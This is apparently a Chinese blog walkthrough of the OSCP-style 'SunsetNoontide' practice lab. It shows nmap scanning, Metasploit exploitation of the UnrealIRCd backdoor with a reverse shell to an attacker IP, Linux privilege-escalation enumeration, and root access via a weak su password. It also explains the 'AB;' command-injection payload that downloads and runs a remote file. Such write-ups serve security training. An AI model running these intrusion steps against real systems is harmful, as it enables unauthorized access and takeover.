freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

OSCP系列靶场-Esay-SunsetNoontide
2023-09-12 08:52:29

OSCP系列靶场-Esay-SunsetNoontide

总结

getwebshell: nmap发现UnrealIRCdirc漏洞利用

提 权 思 路: su弱密码提权

准备工作

  • 启动VPN
    获取攻击机IP → 192.168.45.239

  • 启动靶机
    获取目标机器IP → 192.168.172.120

信息收集-端口扫描

目标开放端口收集

  • Nmap开放端口扫描2次(多次扫描减少误扫)

sudo nmap --min-rate 10000 -p- 192.168.172.120

PORT     STATE SERVICE
6667/tcp open  irc
6697/tcp open  ircs-u
8067/tcp open  infi-async


开放的端口-→6667,6697,8067

目标端口对应服务探测

# tcp探测
sudo nmap -sT -sV -O -sC -p6667,6697,8067 192.168.172.120

PORT     STATE SERVICE VERSION
6667/tcp open  irc     UnrealIRCd
6697/tcp open  irc     UnrealIRCd
8067/tcp open  irc     UnrealIRCd (Admin email example@example.com)

信息收集-端口测试

根据探测的端口进行进一步的测试,这三个端口没有见过nmap探测开放的服务都是irc版本是UnrealIRCd探测到了邮箱内容 Admin email example@example.com通过搜索可以确定UnrealIRCd是开源,存在漏洞的情况较大

chatgpt学习

粗略的了解一下内容

漏洞利用-getwebshell

漏洞利用-unrealircd

在遇到不知道的情况下可以借助msf帮助

msf6 → searchsploit unrealircd


但是我们不确定版本,在没思路的情况下尝试盲打,首先选用msf自带的

msfconsole 
msf6 → search unrealircd

msf6 → use 0
msf6 → show options

确定了只需要目标以及端口

msf6 → set rhosts 192.168.172.120
msf6 → set payload 7

选择反弹shell

msf6 → set lhost 192.168.45.239

设置监听host运行得到shell

内网遨游-getshell

交互shell

由于获取的shell交互不友好,利用python获得新的交互shell

# 如果是msf的要先shell
shell

发现shell失败

# 利用python获取交互shell -> python失败使用python3
python -c "import pty;pty.spawn('/bin/bash')";

FLAG1获取

server@noontide:~/irc/Unreal3.2$ find / -name local.txt 2>/dev/null
/home/server/local.txt
server@noontide:~/irc/Unreal3.2$ cat /home/server/local.txt
ed03c20077957b11b1b936f8a70fd0c4

信息收集-内网基础信息收集

提权的本质在于枚举,在获取shell之后我们要进行内网信息的收集,都是为了提权做准备

检测Linux操作系统的发行版本

较老的Ubuntu以及Linux系统可以overlayfs提权

# 确定发行版本
server@noontide:~/irc/Unreal3.2$ lsb_release -a
No LSB modules are available.
Distributor ID: Debian
Description:    Debian GNU/Linux 10 (buster)
Release:        10
Codename:       buster

发行版本为Debian,不太能overlayfs提权

检测Linux操作系统的内核版本

较低的内核版本可以进行脏牛提权

server@noontide:~/irc/Unreal3.2$ uname -a
Linux noontide 4.19.0-10-amd64 #1 SMP Debian 4.19.132-1 (2020-07-24) x86_64 GNU/Linux

内核版本为4.19.0

检测当前用户的权限

server@noontide:~/irc/Unreal3.2$ id
uid=1000(server) gid=1000(server) groups=1000(server),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev),111(bluetooth)

列举出所有的sudo文件

查找具有sudo权限,且不需要密码的可提权文件
如果发现sudo -l有东西的话 访问 https://gtfobins.github.io寻找

# 利用sudo -l寻找
server@noontide:~/irc/Unreal3.2$ sudo -l
bash: sudo: command not found

发现不存在sudo

列举出所有suid文件

如果发现u=s有东西的话 访问 https://gtfobins.github.io寻找

# -perm 文件权限
server@noontide:~/irc/Unreal3.2$ find / -perm -u=s -type f 2>/dev/null
/usr/bin/fusermount
/usr/bin/passwd
/usr/bin/chsh
/usr/bin/umount
/usr/bin/mount
/usr/bin/su
/usr/bin/chfn
/usr/bin/newgrp
/usr/bin/gpasswd
/usr/lib/eject/dmcrypt-get-device
/usr/lib/dbus-1.0/dbus-daemon-launch-helper

/etc/passwd权限收集

如果/etc/passwd具有写入权限可以尝试覆盖密码提权

server@noontide:~/irc/Unreal3.2$ ls -al /etc/passwd
-rw-r--r-- 1 root root 1440 Aug  8  2020 /etc/passwd

/etc/shadow权限收集

  • 如果/etc/shadow具有写入权限可以尝试覆盖密码提权

  • 如果/etc/shadow具有可读权限可以爆破密码

server@noontide:~/irc/Unreal3.2$ ls -al /etc/shadow
-rw-r----- 1 root shadow 950 Dec  3  2020 /etc/shadow

getcap标志进程收集

高版本下suid列举不全,查看getcap

# 探查有CAP_SETUID标志的进程
server@noontide:~/irc/Unreal3.2$ /usr/sbin/getcap -r / 2>/dev/null
/usr/bin/ping = cap_net_raw+ep

列举定时任务

查找所有的定时任务,并且查看定时任务是否具有修改权限

# 寻找定时任务并修改进行提权
cat /etc/crontab

查看历史信息(无)

可能用户留下的历史信息具有有用的信息

history

确认/home目录下信息

/home目录下的用户可以做账号字典尝试弱密码以及爆破

server@noontide:~/irc/Unreal3.2$ ls -al /home
drwxr-xr-x  3 server server 4096 Dec  3  2020 server
确认当前用户home目录下是否有隐藏文件
# 例如.ssh找密码  ./*_history找历史记录等
ls -al /home/server

找到一个文件


默认编辑器是nano

# Generated by /usr/bin/select-editor SELECTED_EDITOR="/bin/nano"

权限提升

su弱密码提权

server@noontide:~/irc$ su
Password: root

root@noontide:/home/server/irc# id
uid=0(root) gid=0(root) groups=0(root)

FLAG2获取

root@noontide:/home/server/irc# cat /root/proof.txt
b6dd9e1ceb4383125727e3101987689d

完结撒花~

后记

以后提权尝试第一条 su弱密码,应该在利用sudo发现没有命令的时候尝试一下

了解了一下漏洞原理

cat /usr/share/exploitdb/exploits/linux/remote/13853.pl

大致利用思路 是连接6667端口时直接插入AB;payload
利用;可以绕过进行命令执行,这里下载远程文件并执行

# 渗透测试 # 网络安全 # web安全 # 系统安全 # 数据安全
本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录